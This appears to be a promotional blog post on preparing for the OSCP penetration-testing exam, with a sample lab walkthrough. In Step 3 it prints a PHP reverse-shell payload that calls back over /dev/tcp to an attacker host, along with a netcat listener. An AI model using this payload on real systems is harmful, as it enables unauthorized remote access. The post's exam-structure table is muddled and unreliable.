OSCP Sample Question: Prepare for OffSec’s Elite Certification with Realists

Are you preparing for the Offensive Security Certified Professional (OSCP) exam? One of the most effective ways to boost your readiness and confidence is to solve OSCP sample questions. Practicing realistic, exam-like scenarios sharpens your penetration testing skills and gives you a better grasp of how the real exam works. In this post, we’ll guide you through what to expect from the OSCP, offer a curated OSCP sample question, and explain how best to use them for success.

What Is the OSCP Certification?

The OSCP (Offensive Security Certified Professional) is a well-respected, hands-on certification offered by Offensive Security (OffSec). It validates your ability to conduct real-world penetration testing and exploit vulnerabilities under strict time constraints. The OSCP is part of the Penetration Testing with Kali Linux (PWK/PEN-200) course.

To pass, candidates must complete a grueling 24-hour exam involving a simulated network environment with multiple machines, each requiring different skills to compromise.

Why Are OSCP Sample Questions Important?

Practicing with OSCP sample questions can dramatically improve your readiness. Here’s why:

• ✅ Real-World Practice: Simulate the type of scenarios you’ll face in the actual exam.
  
  

• ✅ Time Management: Learn how to allocate your time effectively between machines.
  
  

• ✅ Technical Review: Identify weak areas in your methodology or tool usage.
  
  

• ✅ Report Preparation: Practice crafting effective, exam-style penetration test reports.
  
  

Structure of the OSCP Exam

Before diving into sample questions, it’s crucial to understand the OSCP exam structure:

Component

Points

Description

5 Machines

100

Exploitation of multiple machines

Active Directory Set

40

Typically includes privilege escalation steps

Standalone Hosts

10-25

May require buffer overflows or web exploits

Root/Administrator

Varies

Extra points awarded for privilege escalation

Report Submission

Mandatory

Must submit a full report to pass

A total of 70 points (plus a report) is required to pass.

Sample OSCP Question

Let’s take a look at a realistic OSCP sample question to help you get a feel for the exam.

🔐 OSCP Sample Question: Exploiting a Web Vulnerability

Target: 10.10.15.5
Objective: Gain a reverse shell on the system via the vulnerable web application and escalate privileges to root.

Step 1: Reconnaissance

bash

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nmap -sC -sV -oN nmap_scan.txt 10.10.15.5

Output Summary:

• Port 80: Apache HTTPD 2.4.29
  
  

• Port 22: OpenSSH 7.6p1
  
  

A visit to http://10.10.15.5 reveals a login page for a blog CMS.

Step 2: Web Enumeration

Use Gobuster or Dirb to enumerate directories.

bash

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gobuster dir -u http://10.10.15.5 -w /usr/share/wordlists/dirb/common.txt

Discovered:

• /admin
  
  

• /uploads
  
  

• /config.php.bak
  
  

Step 3: Exploit File Upload Vulnerability

In the /admin panel, there is a file upload feature. It doesn't restrict file types properly.

Upload a PHP reverse shell:

php

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<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.11.0.4/4444 0>&1'"); ?>

Set up listener:

bash

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nc -lvnp 4444

Visit the uploaded file at /uploads/shell.php to trigger the reverse shell.

Step 4: Privilege Escalation

Once in the system as www-data, run:

bash

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sudo -l

Findings:

bash

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User www-data may run the following on this host: (ALL : ALL) NOPASSWD: /usr/bin/htpasswd

Exploit htpasswd with a crafted input to escalate privileges or pivot to root.

Step 5: Submit the Report

Document all steps: enumeration, exploitation, privilege escalation, and proof.txt file location. Screenshots are essential.

Tips for Using OSCP Sample Questions Effectively

1. Simulate the Exam Environment: Set a timer and practice in a quiet, focused space.
   
   

2. Avoid Instant Answers: Avoid peeking at walkthroughs. Struggle through it like the real exam.
   
   

3. Take Notes & Screenshots: Practice documentation as you’ll need to submit a detailed report.
   
   

4. Review Post-Exploit: Understand how each vulnerability worked, and how it could be patched.
   
   

5. Chain Techniques: Practice chaining enumeration → exploitation → privilege escalation seamlessly.
   
   

Tools Commonly Used in OSCP Sample Questions

• Nmap – For port scanning and service detection.
  
  

• Gobuster/Dirb – For web directory enumeration.
  
  

• Burp Suite – For intercepting and manipulating web requests.
  
  

• Netcat (nc) – For setting up reverse shells.
  
  

• LinPEAS/LinEnum – For privilege escalation.
  
  

• Metasploit (used cautiously) – Rarely necessary but sometimes helpful for reconnaissance or payload generation.
  
  

Common Topics Covered in OSCP Sample Questions

1. Web Application Attacks – SQLi, LFI, RFI, XSS, File Uploads
   
   

2. Privilege Escalation – SUID, sudo misconfigurations, kernel exploits
   
   

3. Buffer Overflows – Manual exploitation in Windows/Linux environments
   
   

4. Active Directory Attacks – Kerberoasting, Pass-the-Hash, etc.
   
   

5. Enumeration Mastery – Systematic scanning and documentation
   
   

Where to Find More OSCP Sample Questions

You can find quality OSCP sample questions at:

• 🔹 PassYourCert OSCP Sample Question Page
  
  

• 🔹 VulnHub and TryHackMe labs
  
  

• 🔹 Hack The Box (HTB) retired machines
  
  

• 🔹 GitHub repositories with OSCP prep notes
  
  

• 🔹 Offensive Security PWK lab environments
  
  

Final Thoughts

The OSCP is a rigorous test of practical ethical hacking ability, but the right preparation makes it manageable. Working through OSCP sample questions like the one in this post helps you build the skills, timing, and confidence you need to succeed. Stay disciplined, document your steps, and never stop practicing.

For more realistic, exam-style OSCP sample questions, visit https://passyourcert.net/sample-question/offsec/oscp-sample-question/ and take your learning to the next level.